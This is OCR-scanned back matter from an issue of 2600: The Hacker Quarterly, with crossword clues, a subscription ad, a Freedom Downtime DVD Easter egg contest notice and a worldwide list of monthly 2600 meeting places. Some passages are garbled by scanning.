3.  LOD's Bill origination 

4. E-mail record ( abbr.) 
5. First interactive cable system 
6. Menu, shel l ,  CLl, ego 

7. 0tr The 
8. "Is this thing ___ .'1" 

9. Public key crypt corp. 

1 0. Cal ls  
1 4. Datenschleuder 
IS. Pound sign 
19. Start of an MF n umber (See 

68- Across) 

20. Bug 
2 1 .  New broadcast std. 
22. Nonhuman vis itor 
23. Later day BOC 

24. GPS bird 

25. Former Off The Hook 
co-host 

2S. 1 .602 1 7646 x 1 0- 1 9  joules 

30. Afghan teleo parent 

35. Major American X.25 
network 

36. Phreaker zinc from the 70's 
3S. Man is  good for this 

40. Desktop 

4 1 .  License, eg. 

45. "Are we there yetry" 
47. HAL 
SO. A Plastic Band 
52. The p lace to be this summer 

53. "Qua l i ty Degradation" 
56. Errors 

5S. "Also" on IRe 
59. Indicator l ight ( abbr.) 

60. DC vi l lainous namesakes 
6 1.  Text (acro.) 

64. Hayes command set 
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Do you fi nd i t  a n noyi ng  that  you 
had to leave you r  house to f i nd  

a co py of 2 60 0 ?  
Did you know there i s  a n  easy so l ution that 
i nvo lves not havi ng to leave xeur  domic i l e  a t  a l l ?  

� � �� . 
It's ca lled t h e  2 600 S u b scri pti o n  a n d  it ca n be  yo u rs ia coi, 

of ways.  Eit h e r  s e n d  us $ 2 0  fo r o n e  yea r, $ 3 7  fo r two yea rs , o r  $ 5 2  

fo r th ree yea rs ( o utsi de  t h e  u . s .  a n d  Ca n a d a ,  th at's $ 3 0 ,  $ 54,  a n d  

$ 7 5  respectiveLy) to 2600 ,  P O  Box 7 5 2 ,  Mi d d Le Is La n d ,  N Y  119 5 3  

U SA.  O r  s u bscri b e  di rectLy fro m us  o n Li n e  usi n g  yo u r  credit ca rd at 

sto re . 2 60 0 . co m .  Th en j ust sit back  a n d  wait fo r i ssues to co m e  

h u rtLi n g  t o  yo u r  d o o r  as  i f  b y  m a gic .  

last Chance lor the Easter Euu Huntl 
!n-�� i�-b�gi��j;,gt;--��� l�;'--ih�t'� -right: th��d��;-i��� f�; th�l r - - - - ih��� �;� th�-;�le�"ALl�';tri-��-��;t b� , 

I Freedom Downtime Easter Egg H unt wi ll be upon  us befo re the : i sent through
. 
the regu la r mai

.
l, n?ne  of this 

! ! i Internet busmess. The deadlme 1S Septem-
! next issue i s  out. I I  ber 1 2005 and the winner  will be an-

i All you have to do  i s  search fo r Easter Eggs in the fi lm and its I i noun�ed i n  the Fa ll 2005 issue. 

: . d f f f' d . h f I I  What constitutes an Easter Egg? Any­

I assoClate eatu res . I you I n the hlg est n um ber  0 Easter I I  th ing on the DVDs that is deliberately hid-
I Eggs in this doub le DVD set, you'll wi n the fo llowi n g :  I I  d e n  i n  some way s o  that you get a little 
I I I  th ri l l  when you discover it. When you fi nd 

j OLifeti m e  subscri ptio n  t o  2600 
i C:>All back issues 
i OOne item of every piece o f  clothi n g  we  seLL 

i l one  of these, we expect you to tell us how 
I ! you found  it and what others must do to 
! i see it. Simp ly dumping the data on the OVD 
I '  i s  not suffi cient. 
I i It's possible that there 

l OAn Off The Hook DVD with more possi b le Easter Eggs I !  Eggs that don't require 
I OAnother Freedom Downtime DV D si n ce y will have ! i but that contain a 
I ! I noneth eless . Fo 
: p robab ly worn out you r  o ld o n e  lthat taking 

i OTwo ti ckets to the  n ext HOPE  co nference .�hat Kevin 

'--_._- - --- - --- --- - - -
---- -- - " - -,--- - - --,

-- -
- -

- -Yes, th iS  !�:��:.�_X.i��:?�� (!� a_��d�'::!." .r�:����.���� �l�t �������.?_n�����y_� :�}?��r��\1'!:::t��9_�O��. :!�e 
Submit entries to: 

Easter Egg H u nt c/o 2600, PO Box 7 5 2 ,  M idd le Isla n d ,  NY 1 1 9 5 3  U SA 

You ca n get the Freedom Downtime doub le DVD set by sending $30  to 

the above add ress or th rough  ou r  Internet sto re located at 

sto re . 2 600 .co m .  
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ARGENTINA 
Buenos Aires: In the bar at San Jose 
05. 

AUSTRALIA 
Adelaide: At the payphones near the 
Academy Cinema on Pulteney SI 
8 pm. 
Brisbane: Hungry Jacks on the 
Queen S1. Mall  (RHS, OPPosite Info 
Booth).  7 pm. 
Canberra: KG's Virtual Reality Cafe, 
11 East RW, Civic. 7 pm 

Melbourne: Caffeine at Revault bar, 
16 Swanston Walk, near Melbourne 

Central Shopping Centre. 6:30 pm 
Perth: The Merchant Tea and Coffee 
House, 1 83 M u rray SI. 6 pm. 
Sydney: The Crystal Palace, front 
bar/bistro, opposite the bus station 
area on George St. at Central Station. 
6 pm 

AUSTRIA 
Graz: Cafe Haltestelle on Jakomini-
platz. 

BRAZIL 
8elo Horizonte: Pelego's Bar at As­
sufeng, near the payphone. 6 pm 

CANADA 
Alberta 

Calgary: Eau Claire Market food court 
by the bland yellow wall .  6 pm 

British Columbia 
Nanaimo: Tim Horton's at Comox & 
Wallace. 7 pm 
Vancouver: Pacific Centre Mall  Food 
Court. 
Victoria: QV Bakery and Cafe, 1 70 1  
Government S t  

Manitoba 
Winnipeg: SI. Vital Shopping Centre, 
food court by HMV 

New Brunswick 
Moncton:  Ground Zero Networks 
Internet Cafe, 720 Main SI. 7 pm 

Ontario 
Barrie: Will iam's CoHee Pub, 505 
Bryne Drive. 7 pm 
Guelph : William's CoHee Pub,  492 
Edinbourgh Road South. 7 pm 
Hamilton:  McMaster University 
Student Center, Room 3 1 8 , 7 :30 pm 
Ottawa: World Exchange Plaza, 1 1 1  
Albert St . ,  second floor. 6:30 pm 
Toronto: Future Bakery, 483 Bloor St 
West. 
Waterloo: Will iam's Coffee Pub, 1 70 
University Ave. West 
Windsor: University of Windsor, CAW 
Student Center commons area by the 
large Wi ndow. 7 pm 

Quebec 
Montreal :  Bell Amph itheatre, 1 000, 
rue de la Gauchetiere 

CHINA 
Hong Kong : Pacific Coffee in Festival 
Walk, Kowloon Tong. 7 pm 

CZECH REPUBLIC 
Prague: Legenda pub.  6 pm 

DENMARK 
Aalborg : Fast Eddie's pool hal l  
Aarhus: In  the far corner of the DSB 
cafe In the rai lway station 
Copenhagen : Cafe Blasen 
Sonderborg: Cafe Druen. 7 :30 pm 

EGYPT 
Port Said: At the foot of the Obelisk 
(EI  Missallah). 

ENGLAND 
Brighton:  At the phone boxes by the 
Sealife Centre (across the road from 
the Palace Pier) .  7 pm.  Payphone: 
(01 273) 606674. 
Exeter: At the payphones, Bedford 
Square. 7 pm 
Hampshire: Outside the Gui ldhal l ,  
Portsmouth. 
Hull: The Old Gray Mare Pub,  Colling­
ham Road, opposite Hull University 
7 pm 
London:  Trocadero Shopping Center 
(near Piccadi l ly Circus), lowest level. 
6:30 pm 
Manchester: The Green Room on 
Whitworth SI. 7 pm 
Norwich: Main foyer of the Norwich 
"Forum" Library. 5 :30 pm 

Reading:  Afro Bar, Merchants Place, 
off Friar SI. 6 pm. 

FINLAND 
Helsinki; Fe-nn iakortteli food court 
(Vuorikatu 1 4). 

FRANCE 
Avignon: Bottom of Rue de la Re­
publique in front of the fountain with 
the flowers. 7 pm.  
Grenoble: Eve,  campus of St. Martin 
d 'Heres. 
Paris : Place de la Republique, near 
the (empty) fountain .  6 pm 
Rennes: In  front of the store "Blue 
Box" close to the place of the Repub­
l ic. 7 pm 

GREECE 
Athens: Outside the bookstore Pa­
paswtiriou on the corner of Patision 
and Stournari. 7 p m .  

IRELAND 
Dubl i n :  At the phone booths on Wick­
low SI. beside Tower Records. 7 pm 

ITALY 
Mi lan:  Piazza Loreto In Iront of Mc­
Donalds 

JAPAN 
Tokyo: Linux Cafe in Akihabara diS­
trict. 6 pm. 

NEW ZEALAND 
Auckland: London Bar, upstairs. 
Wellesley SI.. Auckland Central. 5 :30 
pm 
Christchurch : Java Cafe, corner of 
High SI. and Manchester SI. 6 pm 
Well i ngton: Load Cafe in  Cuba Mall 
6 pm. 

NORWAY 
Oslo: Oslo Sentral Train Station 
7 pm 
Tromsoe: The upper f loor at Blaa 
Rock Cafe, Strandgata 1 4. 6 pm 
Trondheim: Rick's Cafe in  Nor-
dregate. 6 pm 

PERU 
Lima: Barbilonia (ex I\pu Bar), en 1\1-
canfores 455, Miraflores, at the end of 
Tarata St. 8 pm 

SCOTLAND 
Glasgow: Central Station, payphones 
next to Platform 1 .  7 pm 

SLOVAKIA 
Presov City: Kelt Pub. 6 pm. 

SOUTH AFRICA 
Johannesburg (Sandton City) : 
Sandton food court. 6 :30 pm. 

SWEDEN 
Gothenburg : Outside Vani l j .  6 pm 
Stockholm: Outside Lava. 

SWITZERLAND 
Lausanne: In  front of the MacDo 
beside the train station 

UNITED STATES 
Alabama 

Auburn: The student lounge upstairs 
in  the Foy Union Building. 7 pm. 
Huntsville: Madison Square Mal l  in  
the food court  near McDonald's 
Tuscaloosa: McFarland Mal l  food 
court near the front entrance. 

Arizona 
Phoenix:  Borders, 2nd Floor Cafe 
Area. 2402 E .  Camelback Road. 
Tucson :  Borders in the Park Mall 
7 pm.  

California 
Los Angeles: Union Station, corner 
of Macy & Alameda. Inside main en­
trance by bank of phones. Payphones: 
(21 3) 972-95 1 9 ,  9520; 625-9923, 
9924; 6 1 3-9704. 9746 
Monterey: Morgan's CoHee & Tea, 
498 Washington St 
Orange County (Lake Forest): 
Diedrich Coffee, 22621 Lake Forest 
Drive. 8 pm 
Sacramento: Camil le's at the corner 
of Sunrise and Madison 
San Diego: Regents Pizza, 4 1 50 Re­
gents Park Row # 1 70 
San Francisco: 4 Embarcadero Plaza 
(Inside). Payphones: ( 4 1 5 )  398-9803, 
9804, 9805, 9806 
San Jose: Outside the cafe at the 
MLK Library at 4th and E .  San Fer­
nando. 6 pm. 

Santa Barbara: Cafe Siena on State 
SI. 

Colorado 
Boulder: Wing Zone food court, 13th 
and College. 6 pm. 
Denver: Borders Cafe, Parker and 
Arapahoe. 

District of Columbia 
Arlington: Pentagon City Mall in the 
food court (near Au Bon Pain). 6 pm 

Florida 
Ft. Lauderdale: Broward Mall  in the 
food court. 6 pm 
Gainesvil le: I n  the back of the Univer­
sity of Florida's Reitz Union food court 
6 pm. 
Orlando : Fashion Square Mall Food 
Court between Hovan Gourmet and 
Manchu Wok. 6 pm 
Tampa: University Mal l  i n  the back of 
the food court on the 2nd floor. 6 pm 

Georgia 
Atlanta: Lenox Mall food court. 7 pm. 

Idaho 
Boise: BSU Student Union Bui lding,  
upstairs from the main entrance. Pay­
phones: (208) 342-9700, 9701 
Pocatello: College Market, 604 South 
8th St. 

I l l inois 
Chicago: Union Station in the Great 
Hall near the payphones. 5:30 pm 

Indiana 
Evansvil le:  Barnes and Noble cafe at 
624 S Green River Rd. 
Ft. Wayne: Glen brook Mall food court 
I n  front of Sbarro's. 6 pm 
I ndianapolis: Corner CoHee, SW cor­
ner of 1 1 th and Alabama 
South Bend (Mishawaka):  Barnes 
and Noble cafe, 4601 Grape Rd.  

Kansas 
Kansas City (Overland Park) : Oak 
Park Mall  food court. 
Wichita : Riverside Perk, 1 1 44 Bitting 
Ave 

Louisiana 
Baton Rouge: In  the LSU Union 
Bui lding, between the Tiger Pause & 
McDonald's, next to the payphones 
New Orleans: La Fee Verte, 620 
Conti SI. 6 pm 

Maine 
Port land:  Maine Mal l  by the bench at 
the food court door 

Maryland 
Baltimore: Barnes & Noble cafe at the 
Inner Harbor. 

Massachusetts 
Boston :  Prudential Center Plaza, ter­
race food court at the tables near the 
windows. 
Marlboroug h :  Solomon Park Mall 
food court 
Northampton :  Javanet Cafe across 
from Polaski Park 

Michigan 
Ann Arbor: The Galleria on South 
Un iversity 

Minnesota 
Bloomingto n :  Mall of America, north 
side food court, across from Burger 
King & the bank of payphones that 
don't take incoming calls 

Missouri 
Kansas City (Independence): Barnes 
& Noble, 1 9 1 20 East 39th St 
St. Louis (Maryland Heights): Rivalz 
Technology Cafe. 1 1 502 Dorsett Road 
Springfield: Borders Books and Mu­
sic coffeeshop, 3300 South Glenstone 
Ave . .  one block south of Battlefield 
Mall. 5:30 pm 

Nebraska 
Omaha: Crossroads Mall Food Court. 
7 p m .  

Nevada 
Las Vegas: Palms Casino food court 
8 p m .  

New Mexico 
Albuquerque: Win rock Mall food 
court, near payphones on the lower 
level between the fountain & arcade. 
Payphones: (505) 883-9985, 9976. 
9841 

New York 
New York: Citigroup Center, in the 
lobby, near the payphones, 1 53 E 53rd 
St., between Lexington & 3rd. 

North Carolina 
Charlotte: South Park Mall food court 
7 pm, 
Greensboro: Bear Rock Cafe. 
Friendly Shopping Center. 6 pm.  
Raleig h :  Tek Cafe And Internet Gam­
ing Center, Royal Mal l ,  3801 Hi l lsbor­
ough St. 6 pm 
Wilmingto n :  Independence Mal l  food 
court 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco ,John's 

Ohio 
Akron:  Arabica on W. Market St. ,  in­
tersection of Hawkins,  W. Market, and 
Exchange. 
Cleveland: University Circle Arabica, 
1 1 300 Juniper Rd.  Upstairs. turn right, 
second room on left 
Dayton: At the Marions behind the 
Dayton Mall  

Oklahoma 
Oklahoma City: Cafe Bella, southeast 
corner of SW 89th St. and Penn 
Tulsa: Java Dave's Coffee Shop on 
8 1 st and Harvard 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm. 

Pennsylvania 
Allentown:  Panera Bread, 3 1 00 West 
Tilghman St. 6 p m .  
Philadelphia:  30th St. Station, under 
Stairwell 7 sign.  
Pittsburgh :  Will iam Pitt Union bui lding 
on the University of Pittsburgh campus 
by the Bigelow Blvd. entrance. 

South Carolina 
Charlesto n :  Northwoods Mall in the 
hall  between Sears and Chik-Fi l-A. 

South Dakota 
Sioux Falls: Em pire Mal l ,  by Burger 
King 

Tennessee 
Knoxville: Borders Books Cafe 
across from Westown Mal l .  
Memphis (Cordova): San Francisco 
Bread Company, 990 N. Germantown 
Parkway. 6 pm 
Nashville: J-J's Market,  1 9 1 2  Broad-
way. 6 pm. 

Texas 
Austin :  Dobie Mall food court. 6 pm 
Dallas: Mama's Pizza, Campbell & 
Preston. 7 pm.  
Houston:  Ninfa's Express in front  of  
Nordstrom's in  the Gal ler ia Mal l .  
San Antonio: North Star Mall  food 
court 

Utah 
Salt Lake City: ZCMI Mall  in  The Park 
Food Court. 

Vermont 
Burlington: Borders Books at Church 
S1. and Cherry S1. on the second floor 
of the cafe 

Virginia 
Arlington: (see District of Columbia) 
Virginia Beach: Lynnhaven Mal l  on 
Lynnhaven Parkway. 6 pm 

Washington 
Seattle: Washington State Convention 
Center. 6 pm. 

Wisconsin 
Madison: Union South (227 N ,  Ran­
dal l  Ave . )  on the lower level in the 
Martin Luther King Jr. Lounge. Pay­
phone: (608) 251 -9909 
Milwaukee: The Node, 1 504 E. North 
Ave 

Al l  meetings take place on the first Fri­
day of the month. Unless otherwise 
noted,  they start at 5 pm local time 

To start a meeting In your city, leave a 
message & phone number at (63 1 )  
751 -2600 or send email  to 
meeti ngs@260Q.com 
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